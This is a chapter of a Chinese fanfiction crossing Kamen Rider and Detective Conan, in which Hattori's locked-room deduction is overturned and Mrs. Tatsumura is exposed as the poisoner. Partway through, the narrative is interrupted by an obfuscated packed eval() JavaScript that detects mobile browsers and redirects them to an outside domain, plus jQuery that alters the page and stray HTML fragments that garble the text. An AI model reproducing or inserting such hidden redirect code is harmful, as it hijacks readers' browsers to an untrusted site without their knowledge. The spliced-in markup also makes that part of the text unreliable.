32.真相永远只有一个
作品:《〖假面骑士×名侦探柯南〗从今天开始,你就是假面骑士了》 没有在意柯南、小兰和阳圣也为什么匆匆离去,服部平次准备开始他的推理秀。
“我已经知道犯人是谁了。”
“诶?”
目暮警官暗道不妙,刚想转头去找他那靠谱的一条老弟,却又反应过来人家刚才就飞奔出去找医生了。
“对了,那个古板的警察小哥呢?”服部平次战意熊熊,“我还想让他好好见识一下我的推理呢。”
“他去找医生了,现在不在这里。”
“那好吧。现在,我就让你们来看看证据——目暮警部,能不能拜托你扮演一下死者呢?”
“哦……好吧。”
等到目暮警部准备好,服部平次面向众人,开始了他的推理秀。
“案发当时,这个书房里的所有窗户都是从里面被锁住的,唯一可以出入的那扇门口也被钥匙给锁住了。”
“这么一来,就形成了一个没有空隙的密室杀人案件。”
“但是这个看似完全密室的房间里却还是有一个空隙……”
“空隙?”
目暮警部在扮演死者,不能说话;毛利兰去照顾柯南,不在现场,自然就由毛利小五郎来充当这个捧哏。
“没错,就是那扇门下面的缝隙。”
“喂喂,”毛利小五郎一脸无语的表情,“你该不会要说,那个凶手是从这个缝隙下面把这个书房的钥匙丢进被害人的口袋里面的吧?”
“你说得没错,当然有可能。只要有胶带和我刚才找到的这个——用来绑铁针的钓鱼线就行了。”
…………
另一边的房间,柯南正张大了嘴巴,如同濒死的鱼一般大口汲取空气。
“没事的,柯南,只要再等一会儿,医生马上就过来了……”
“咳咳咳……”
剧烈的咳嗽声听得人心头一颤。
…………
“先在被害人脖子上刺进毒针将他杀害,之后再把被害人的钥匙抢过去。然后,他再把绑了铁针的钓鱼线抽出来,再以这根吊线绑着铁针的另一头,粘在胶带上面加以固定。”
“将绑上铁针的一头放进被害人的口袋里,将钓鱼线从中穿过。最后就让被害人坐在椅子上,让死者摆出尸体,发现时以手杵脸的姿势。”
目暮警官一脸无奈地配合着高中生侦探的摆弄,交出了身体的控制权。
“然后只要握着钓鱼线的两端,从门口走出去,就可以从门缝里把钓鱼线抽到门外。再把门关起来,然后再把门锁上,接着把钓鱼线绑在钥匙上,再将钓线拉过去就可以了。”
“这么一来,钥匙会通过门缝爬上桌子,自然而然地就掉进了被害人的口袋里了。”
“真的进去了!”
目暮警官大声惊叹。
“然后,他只要再用力一拉,就能够把掉线抽出来。再来,只要把掉线卷好,这样证据就消失了。”
“这么一来,一个完全的密室就形成了。”
目暮警官咽了咽口水。
“确实是这样。”
做完自己的这一番推理,服部平次内心颇为得意,又一次望向门口,仿佛内心里那个想象中的对手会在下一秒就出现在他面前。
〈怎么样,工藤新一?再不出现的话,你可就真的输了。〉
“那么,真正的凶手到底是谁呢,服部老弟。”
目暮警官此刻真正认同了这个关西高中生侦探的智慧。
“杀死被害人后要完成这个手法,至少需要5~6分钟的时间。”
“而犯罪的时间是从3:30~4:30至30分钟之内,因此,4点的时候和我们一起回到这里的达村太太就排除在外;同样的在3:00~4:00这段时间内,正站在大门口和这附近居民聊天、并迎接我们和达村夫人回家的管家小池先生也是不可能的;在我们和达村夫人到达这里后和管家小池先生出来接我们的这段时间,死者的儿子和他的……”
说到这里,服部平次顿了一下,改口道:
“和桂木小姐。他们虽然也曾到二楼,但是顶多只有一两分钟的时间,也不可能会犯罪的……”
“这么一来,两点多的时候才到这里,并且一直在书房的隔壁看电视的这位老先生——只有你才可能!”
“证据就是我刚才在和室里发现的这根用来绑住铁针的钓鱼线!这种钓鱼线是在新材质钓鱼线中耐力最强、最细的一种特殊钓鱼线。你会钓鱼,应该不会说你不知道吧?”
“而且我还记得,在我们和达村夫人要去书房的半路上还在楼梯上遇到了你——也就是说,你在行凶之后就到了和室。你一定以为你自己做得完美无缺,但是我在和室的垃圾桶里却发现了这根钓鱼线,这就是最有力的铁证!”
小兰轻手轻脚从门外走了进来,询问在场的警员是否有看到柯南的身影。服部平次沉浸在推理中,对这一点浑然不觉。
“怎么样?是不是如我所说的那样?”
“你的结论恐怕错了……关西侦探。”
服部平次身后的房门口响起一个气喘吁吁的声音——是一条薰!
他的西装因为刚才的奔跑而有些凌乱,可这并不会减弱他身上那种凌厉的气质。
…………
一分钟前。
“叮咚”
门铃声响起,小兰立刻弹了起来。
“柯南,一定是医生来了,我去把医生带过来,很快就好,”小兰语速飞快,“圣也君,麻烦你照顾好他!”
小兰转身离开,柯南却死死揪住了胸口的衣服。心脏传来一阵阵绞痛,仿佛要爆炸似的。
“啊——”
他忍不住发出一声惨叫。
然后,奇迹发生了。
一阵魔法般的烟雾出现,江户川柯南重新变回了工藤新一。小学生的衣服散落在一旁,现在的工藤新一未着寸缕,如同婴儿在母亲的子宫中紧紧蜷缩着。
“……”
亲眼见到这一幕,阳圣也大为震撼——这根本就不属于科学范畴吧!
“圣……圣也哥哥……”
被大号工藤新一的声音叫这种称呼,简直让阳圣也起了一身鸡皮疙瘩。
“工藤,”阳圣也被刺激了一下,很快回过神来,“你先穿着达村贵善的衣服吧——先藏起来,小兰马上回来了,你的情况一时半会儿解释不清楚,还有医生在场,快点。”
两人先在房间里单独的厕所躲过了小兰的搜寻,等换好了衣服,工藤新一又执意要去现场看看。
“真是搞不懂你们这些侦探。你一出现,待会儿我要怎么向毛利同学解释呢?”阳圣也无奈,把工藤新一的一只手臂搭在自己的肩膀上,“我先扶着你过去,你太虚弱了。”
两人慢慢走到了书房门口,就听见一条薰虽然气喘、却自信而坚定的反驳。
“你的结论恐怕错了,关西侦探!”
…………
“你是想说我刚才的推理全都错了吗?”服部平次有些不屑,“不能因为我比你们警方更有能力找到凶手,就这样子信口胡言吧,警官小哥。”
“警方办案是要讲证据的,我从不说没有把握的话。”
一条薰调整了一下呼吸,走进了书房。
“一条老弟,刚才服部的推理你都听见了吗?”
“不,我才刚刚回来。不过听见他指认那位老先生为凶手,我就知道他中了真正的凶手的圈套了。”
“什么?”服部平次一脸不可置信,“你说我中了真正的凶手的圈套?”
“没有什么圈套,凶手就是我啊!”
达村利光突然大声嘶吼打断了他们之间针锋相对的话语,可激烈的情绪也让这位老人家忍不住咳嗽起来。
“咳咳咳……”
可是这咳嗽声中,却混杂着一个令小兰无比熟悉的声音……
毛利兰向门口看去。
“一条警官说得没错——在场的人,差一点就中了真凶的圈套了。”
“新一……”
看见那个令她魂牵梦萦的熟悉身影,毛利兰的双眼瞬间泪眼朦胧。
她有很多句话想问他:
〈你到底去哪里了?你知不知道我有多么担心你?为什么一直不肯出现在我面前?你怎么会变成现在这副虚弱的样子?〉
可是,现在有另一个问题亟待解决——一个比她对他的感情更重要的问题。
毛利兰擦去眼中的泪水,一声不吭地站到了书架旁边,紧紧盯着名为工藤新一的少年。
“等我一下,小兰,”工藤新一拍了拍阳圣也的肩膀,示意他暂时不用搀扶自己,“放心吧,马上就结束了……对不起,我似乎总是在让你等待。”
〈新一……〉
“你倒是说说看,我的推理到底哪里错了,工藤!”
对服部平次来说,工藤新一已经成为了他心中的魔障——难道说,自己这一次要输给他了吗?
工藤新一却没有立刻回答他的质问,而是先向一条薰道:
“抱歉,一条警官。我想你已经知道了真相,但是他错误的推理,就由我来推翻吧。”
一条薰看了他半晌,点了点头,转而对服部平次道:
“你刚才那个手法只不过是纸上谈兵罢了——证据就是这个。”
一条薰扯出了目暮警官的裤子口袋,那钥匙却不是呈“7”字形折叠状掉出来的,而是钥匙先露头、钥匙扣紧随其后。
“怎么会呢!怎么会这样呢!”
服部平次看了这一幕,惊骇不已。
“我刚才明明是让钓鱼线从这个双层口袋里通过的啊……”
“因为钥匙进去的时候,目暮警官是坐着的缘故。”
“什么?”
“因为只要是坐着,口袋就会有褶皱,阻碍到钥匙进入口袋的通道。在钥匙真的进入里面的双层口袋之前,钓鱼线就会从胶袋里抽出去了。”
“而且,别说被害人这种肥胖的体型了,就算是像圣也哥哥这样保持着身材管理的明星,你的那个手法也是无法实现的。”
“不……这很有可能啊,”服部平次还是不愿意相信自己的推理出现了错误,“十次里总有一次会成功吧?”
“再做几次都是一样的。你好好想想看吧,那把钥匙在被害人的双层口袋里的时候,到底是什么方向?”
服部平次略一思考,就明白了工藤新一在说什么。
“没错,就算要是真的万一跑进了双层口袋里面去的话也应该只有钥匙环。因为在狭窄的双层口袋里,钥匙环跟钥匙绝不可能被折成“7”字形,但是钥匙跟钥匙环却都放在里面。这就是说,凶手是一开始就把钥匙放在死者的双层口袋里了。”
“是吗?那你倒是说说看,我在和室里发现的这根钓鱼线又怎么解释呢?”
“有关这一点,一条警官应该有证据吧?”
一条薰有些不满工藤新一把他当作解说工具人的行为,但还是配合说道:
“不管你在哪个房间,都会找到这样的钓鱼线的——凶手为了嫁祸给利光老先生,早就做好了准备,这样一来,不论他最后待在哪个房间,都会有‘确凿无疑’的罪证。”
“可是,那个老先生自己都承认了吧?”
“他是自愿替凶手顶罪的……至于原因,我想大概和桂木小姐的父亲有关吧?”
“什么?你说和我的父亲有关系?”
“正是如此,”一条薰看着那位慈眉善目的老先生,“我想,你父亲的死应该和死去的达村先生脱不了关系——还有这位利光老先生也是。凶手是铁了心要报复你们这对父子,这场嫁祸就是凶手对你良心最后的叩问……对吧,公江夫人?”
“什么?”
在场的人都十分惊骇——按照侦探和警方先前的说法,管家小池先生和女主人达村公江都是率先被排除在嫌疑人范围之外的,怎么会突然变成了凶手呢?
“那怎么可能啊!自从一点钟之后,达村夫人可是和我们一直在一起啊!你不是确认过不在场证明了吗?”
“没错,下午1:00~4:00之间,她的确有不在场证明——直到你们走进这个房间为止。”
“你到底是什么意思?”
“达村先生根本就不是在3:30~4:00之间被杀害的。他真正死去的时间,是在你们走进这个房间之后!”
“房间里在放歌剧,是凶手为了预防被害人可能会发出痛苦惨叫而做的准备;桌上高高摞起的书籍,则是凶手为了遮挡住被害人有可能露出的痛苦表情。”
“哈哈哈哈……那怎么可能呢,”服部平次的笑声让人有些担忧他的精神状态,“凶手这么费心,到底是要遮谁的耳目呢?”
不仅是工藤新一,现在就连面前这个警察都能够否定他的推理……
“服部平次,”一条薰平静地回答,“还有和你一起走进这个房间的所有人。”
看着服部平次彻底呆住的表情,一条薰叹了口气,接着道:
“凶手是为了防止和她一起进入房间的人临时破坏她的计划而做出的准备。也就是说,凶手就是在进房门后第一时间靠近死者的那个人……”
“达村公江夫人,就是你。”
“没错,”工藤新一补充起一条薰没有说完的细节,“达村夫人原本只是使用了某种药物让死者睡着了,然后趁着假装叫被害人的时机将毒针刺了进去。”
“当时没有人注意到,其实也是很自然的。因为那种安眠药效力很强,如果毒针上涂的又是剧毒,被害人还是会在被刺之后一动不动地死去。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013111|176537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“达村夫人之所以准备歌剧跟那些书,为的只是预防万一而已。”
“可是,依据你和一条老弟的说法,她用的安眠药在事后一旦从尸体身上被发现的话,这个手法就……”
“不对,没有人会知道的。”
这次否决质疑的人是服部平次。他已经重新恢复了冷静,智商再一次占据高地。
“因为我们刚才一直认为死者是在我们进屋子之前就死掉的。照你所说的,凶手利用毒针刺入被害人脖子,就让他毫无反抗地睡地了——也就是说凶手刻意地把侦探找到这里来,利用他们认为凶手不会当面杀人这个盲点进行心理性的密室杀人,而我们大家都不会发觉到……你们就是这个意思吗?”
“如果是这样的话,那你们就拿出证据来!因为那个时候达村夫人根本就没有拿出毒针的动作啊!”
“不论如何,这一次确实是我技不如人,做出了错误的推理——可你们两个人所认为的也不一定就是真相吧?”
“你之所以认为你所推理出的手法成立,不正是因为在达村先生钥匙扣的夹层里有一个奇怪的胶带吗?”
一条薰站在了达村公江面前,向她伸出手。
“达村公江,请你把你那把钥匙拿出来吧——作为给你定罪的证物。”
“……诶。”
达村公江似是失望、又似是释然地拿出了那把钥匙。一条薰把它打开向众人展示了一下——夹层里的确有一个能够装下铁针的凹槽——随后把它放入了证物袋。
“达村夫人的动机,恐怕就是桂木小姐的父亲吧。”
工藤新一已经有些气喘吁吁了。
“这天下怎么会有母亲认不出自己的女儿呢?更别提她和自己年轻的时候长得那样相似。”
“而达村先生恐怕也是明白了这一点,才执意不允许贵善先生和桂木小姐结婚的。”
“没错……”达村公江的表情变得愤怒又狰狞起来,“幸子,她就是我和15年前被我这个丈夫达村勋所陷害的外交官山城健儿的女儿啊!”
达村公江把事情的原委娓娓道来,随后就被警员拷走了,只留下愧疚的达村利光、一脸无措的贵善和正在悲痛哭泣的桂木幸子。
“所以公江夫人才会对桂木小姐那么凶……”
“咳咳咳……咳咳咳!”
工藤新一终于忍不住了,整个人都要无力地瘫倒在地,撕心裂肺地咳嗽着。
“喂,工藤!”/“你没事吧,新一?”
工藤新一说着阳圣也的力道站了起来,安慰道:
“没关系,我只是得了重感冒而已。”
“但是,你怎么对这整件事情知道得这么清楚啊?难道说……你一直在附近看着吗,工藤?”
“胡说什么呢……”工藤新一连骂人都没有什么力气了,阳圣也甚至能感觉到他那种刻意放缓后仍然微弱又急促的呼吸,“我是听那个戴眼镜的小子和圣也哥哥说的。”
“柯南说的?”
“是啊,他说侦探事务所来了一个从大阪来的奇怪侦探,对小兰出言不逊,要我赶快赶过来看看……呃……不过呢,我是听说有个大案子才会赶过来的。”
“是吗,你总是这样……”
女孩强忍着的哭腔打断了工藤新一的发言。
“一句话也不说就消失在我的视线里,总是害我白白担心……打电话来也从来不问我的情况,只关心案件、案件、案件……”
小兰终于忍不住,珍珠般的眼泪自眼角滑落。
“我也想要帮助你、我也想要和你站在一起啊!在我担心的时候,你一定在心里嘲笑我对不对?为什么这样子对我呢,你知不知道我一直……一直……”
“你是笨蛋吗,兰,”工藤新一温柔地笑了,“你已经……帮了我很多很多了。是我一直欠你一句谢谢……相比起来,我才是那个笨蛋……呃……”
工藤新一痛得连话也说不完整了。
“我先带你出去吧,”阳圣也准备强拽着工藤新一走了——这里除了服部和小兰还有很多警察呢,“诉衷肠的话,时间恐怕来不及。”
“他明显就是不舒服,有什么事都先放在一边吧!”小兰第一时间反驳了阳圣也的理由,“新一,你就先等在这里,我去帮你喊医生过来!”
小兰又一次奔跑着离去。
“原来如此,我的推理从一开始的时候就弄错了,”服部平次心服口服,“不仅是你,那个古板的一条小哥也跟有本事——要不是为了给那个小鬼找医生,恐怕我早就输了个彻底。”
“少来了,”工藤新一缓了口气,“推理根本就没什么输赢或者什么上下……这是因为……”
“在这个世界上,真相永远只有一个啊!”
说完,工藤新一终于撑不住了,用全身的力气紧紧揪住胸口,仿佛这样就能够缓解心脏的疼痛。
“喂,工藤,你这真的是重感冒吗?”
“抱歉,”阳圣也巧妙地阻止了服部平次的触碰,“他很久没有休息好了,我来扶着他。”
“一个两个的都这么凶啊……简直和那个一条小哥一模一样。”
察觉到工藤新一状态不对,阳圣也干脆背起他来就跑了出去。
“快……我……小……”
阳圣也背着他回到了贵善的房间。
“新一!新一!你在哪里?”
身后传来小兰的呼声,可工藤新一又一次无暇顾及了。
阳圣也虽然不赞同他向小兰隐瞒身份的做法,可眼下这种情况并不是坦白真相的好时机。
“啊——”
那种如同骨头融化般的痛苦令工藤新一忍不住又发出一声惨叫。
“难道说……”
毛利兰急匆匆向声音的源头跑去,一把撞开门,却只看见穿着不合身衣服的柯南,还有脸色难看的阳圣也。
“柯南,你到哪里去了!我到处找你!还有,你这身衬衫是怎么回事啊?”
毛利兰怒气冲冲地兴师问罪,问完了柯南,另一个也跑不掉。
“圣也君!我去找医生之前,你不是和柯南在一起吗?结果就一会儿工夫,你和柯南都不见了;一转身,你又和新一在一起!现在情况又反过来了,这到底是怎么回事嘛!”
虽然阳圣也脸上挂着歉意的讨好微笑,但柯南知道他正在绞尽脑汁地想该怎么解释。
〈怎么办……要把真相告诉小兰吗?〉
把真相告诉小兰,让他不用再为工藤新一的离去而感到悲伤;可是,在他不明白自己身体状况的当下,要女孩面对他危险的身份,等待着那个不知何时才能恢复原样的未来,是不是给她徒增悲伤呢……
“小兰……我……”
柯南认真地打断了小兰滔滔不绝的抱怨。